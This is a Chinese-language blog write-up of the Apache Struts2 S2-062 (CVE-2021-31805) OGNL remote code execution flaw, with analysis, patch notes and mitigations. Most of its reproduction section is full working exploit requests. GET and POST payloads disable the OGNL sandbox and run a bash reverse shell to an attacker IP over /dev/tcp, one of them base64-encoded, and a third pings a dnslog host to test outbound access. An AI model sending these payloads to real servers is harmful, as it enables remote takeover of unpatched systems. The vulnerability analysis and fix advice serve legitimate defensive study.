<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Struts2 S2-062遠程代碼執行漏洞(CVE-2021-31805)分析 | 反彈Shell

    VSole2022-05-13 07:27:20

    0x00寫在前面

    本次測試僅供學習使用,如若非法他用,與平臺和本文作者無關,需自行負責!

    0x01漏洞描述

     2022年04月12日,Apache官方發布了Apache Struts2的風險通告,漏洞編號為CVE-2021-31805,漏洞等級:高危,漏洞評分:8.5。Apache Struts 2是一個用于開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了Java Servlet API,鼓勵開發者采用MVC架構。在某些標簽中若后端通過 %{...} 形式對其屬性進行賦值,則將對 OGNL 表達式進行二次解析,從而執行惡意代碼,該漏洞是 S2-061 的繞過,后端通過 %{...} 形式對特定標簽 name 屬性賦值;存在 Commons Collections 3.x 版本依賴。

    0x02漏洞影響

    2.0.0 <= Apache Struts2 <= 2.5.29

    0x03漏洞分析

    參考國外分析軟文

    首先查看前端jsp文件name屬性標簽,是通過 %{...} 進行賦值后將對 OGNL 表達式進行二次解析,從而執行惡意代碼。

    struts2運行Action類

    maven pom文件如下

    xml version="1.0" encoding="UTF-8"?>
      xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  4.0.0
      SimpleStruts  SimpleStruts  1.0-SNAPSHOT  war
      SimpleStruts Maven Webapp    http://www.example.com
          UTF-8    1.8    1.8  
                junit      junit      4.11      test              org.apache.struts      struts2-core      2.5.26              commons-collections      commons-collections      3.2.2            SimpleStruts                            maven-clean-plugin          3.1.0                                  maven-resources-plugin          3.0.2                          maven-compiler-plugin          3.8.0                          maven-surefire-plugin          2.22.1                          maven-war-plugin          3.2.2                          maven-install-plugin          2.5.2                          maven-deploy-plugin          2.8.2                    
    

    name傳參

    在Strut2中對jsp中標簽處理流程如下

    org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag()
    

    函數開始。調用

    org.apache.struts2.components.UIBean#end()
    

    函數,然后通過end()函數調用UIBean類的evaluateParams()函數。

    跟進evaluateParams函數對標簽屬性的處理,然后重點關注對name 屬性的處理。

    最終執行惡意代碼。

    補丁如下

    @org.apache.commons.collections.BeanMap@{}
    

    沒有任何沙箱限制,使用特殊的 OGNL 語法直接創建繞過沙箱限制。

    0x04漏洞復現

    IDE平臺下通過tomcat環境外部部署war包復現(也可以docker環境)

    通過GET方式將攻擊payload進行發送,然后bash反彈shell(明文數據,傳輸過程中需一次url編碼)

    GET /Struts2_62_war/S2061.action?payload=(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,bash -i >& /dev/tcp/10.211.55.7/12388 0>&1}|{base64,-d}|{bash,-i}'})) HTTP/1.1Host: 10.211.55.2:8080Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cache-Control: max-age=0Content-Length: 0Cookie: JSESSIONID=51B26DCD798CE551DD2D88CD470D6C5AUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
    

    成功獲取反向shell

    通過POST方式將攻擊payload進行發送,然后bash反彈shell

    POST /s2_062/index.action HTTP/1.1Host:10.211.55.2:38105User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1191
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="name"
    (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNy8xMjM4OCAwPiYx}|{base64,-d}|{bash,-I}'}))
    

    成功獲取反向shell

    通過dnslog測試是否可以出網

    POST /s2_062/index.action HTTP/1.1Host:10.211.55.2:38105User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1191
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="name"
    (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping ysvrdp.dnslog.cn'}))
    

    成功解析dnslog,可出網

    0x05修復建議

    目前官方已有可更新版本,用戶可升級至 2.5.30 版本:

    https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30

    緩解方案

    1、可通過設置所有標簽中 value="" 來緩解此漏洞;

    2、將 org.apache.commons.collections.BeanMap 添加至 excludedClasses 黑名單中。

    漏洞自查

    通過排查struts-core-版本號.jar來判斷是否受此漏洞影響,

    如果沒有版本號可以在jar文件的META-INF/MANIFEST.MF中搜索Bundle-Version,如果struts-core < 2.5.30則存在該漏洞。

    0x05參考鏈接

    https://nox.qianxin.com/vulnerability/detail/QVD-2021-14649

    https://cwiki.apache.org/confluence/display/WW/S2-062

    https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

    https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e

    https://www.freebuf.com/vuls/257626.html

    遠程代碼執行漏洞apache
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    2022年4月12日,Apache發布安全公告,修復了一個Apache Struts2 中的遠程代碼執行漏洞漏洞編號:CVE-2021-31805,漏洞威脅等級:高危,漏洞評分:8.5。
    2022年4月12日,Apache發布安全公告,修復了一個Apache Struts2? 中的遠程代碼執行漏洞漏洞編號:CVE-2021-31805,漏洞威脅等級:高危。
    2022年1月13日,360漏洞云團隊監測到Apache發布安全公告,修復了一個Apache Dubbo中的遠程代碼執行漏洞漏洞編號: CVE-2021-43297,漏洞威脅等級:高危。
    近期,“核彈級漏洞Apache Log4j2 遠程代碼執行漏洞細節被公開,攻擊者利用漏洞可以遠程執行代碼。 Apache Log4j2 是一款優秀的 Java 日志框架,該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業務系統開發,用來記錄日志信息。 漏洞原理簡述
    近期,啟明星辰漏掃團隊在漏洞監控中發現Apache Struts2存在遠程代碼執行漏洞Apache Struts2框架是一個用于開發Java EE網絡應用程序的Web框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
    12月7日,Apache Struts2官方更新了一個存在于Apache Struts2中的遠程代碼執行漏洞(CVE-2023-50164)。
    1、Accellion零日漏洞攻擊:及時更新并安裝補丁 2021年2月,美國、加拿大、荷蘭及其他國家和地區的多個組織遭到嚴重的數據泄露,原因在于使用的FTA(File Transfer Appliance)文件傳輸服務存在漏洞。其中,美國零售巨頭克羅格是最大的受害者之一,旗下藥房及診所的員工及服務客戶數據被曝光。另外,能源巨頭殼牌公司、眾達律師事務所、新加坡電信、華盛頓州和新西蘭儲備銀行等均在受
    漏洞信息本質上是一類威脅情報,可以被用來結合組織自身的資產驅動持續的檢測與響應,避免漏洞導致實際的風險。
    根據以上綜述,本周安全威脅為中。報告顯示,XSS漏洞占了報告的所有漏洞的18%,總計獲得了420萬美元的獎金。此外,不當訪問控制漏洞所獲得的獎金額度比去年同比增長134%,高達到400萬美元,其次是信息披露漏洞,同比增長63%。原文鏈接: 2、Pulse Secure發布企業推進零信任網絡的分析報告 Pulse Secure發布了有關企業推進零信任網絡的分析報告。企業管理協會副總Shamus McGillicuddy表示,企業顯然正在加快采取零信任網絡的步伐。
    十大網絡暴力事件
    2022-07-26 11:11:34
    ColonialPipeline在當地時間周五 因受到勒索軟件攻擊,被迫關閉其美國東部沿海各州供油的關鍵燃油網絡。該事件涉事的黑客團隊DarkSide索要高達數百萬美元虛擬幣。該事件也是2021年造成實質影響最大的網絡安全事件。否則一旦遭到破壞或數據泄露,將會造成嚴重后果。該案件是我國迄今為止查獲單體數據泄露最大案件。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类